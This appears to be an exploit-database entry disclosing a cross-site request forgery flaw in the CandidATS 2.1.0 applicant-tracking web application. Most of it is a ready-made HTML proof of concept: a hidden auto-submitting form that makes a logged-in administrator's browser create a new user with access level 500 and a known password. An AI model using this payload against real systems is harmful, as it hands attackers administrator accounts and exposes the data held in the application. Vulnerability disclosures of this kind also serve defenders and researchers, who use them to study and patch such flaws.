CandidATS 2.1.0 - Cross-Site Request Forgery (Add Admin) Vulnerability

ID 1337DAY-ID-34002
Type zdt
Reporter J3rryBl4nks
Modified 2020-02-24T00:00:00


Exploit for php platform in category web applications

                                            # Title: CandidATS 2.1.0 - Cross-Site Request Forgery (Add Admin)
# Exploit Author: J3rryBl4nks
# Vendor Homepage:
# Software Link: 2.1.0
# Tested on Ubuntu 19/Kali Rolling

# The Candid ATS Web application is vulnerable to CSRF to add a new admin user:
#CSRF Proof of Concept:

      <script>history.pushState('', '', '/')</script>
        <form action="http://HOSTNAME/Candid/index.php?m=settings&a=addUser" method="POST">
          <input type="hidden" name="postback" value="postback" />
          <input type="hidden" name="role" value="none" />
          <input type="hidden" name="firstName" value="Test" />
          <input type="hidden" name="lastName" value="User" />
          <input type="hidden" name="email" value="" />
          <input type="hidden" name="username" value="Test" />
          <input type="hidden" name="password" value="password" />
          <input type="hidden" name="retypePassword" value="password" />
          <input type="hidden" name="roleid" value="2" />
          <input type="hidden" name="accessLevel" value="500" />
          <input type="hidden" name="submit" value="Add User" />
          <input type="submit" value="Submit request" />

# [2020-02-24]  #